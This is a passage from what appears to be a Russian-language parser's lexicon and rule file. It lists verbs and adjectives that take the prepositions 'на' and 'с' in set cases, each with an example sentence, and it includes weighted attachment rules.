rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами 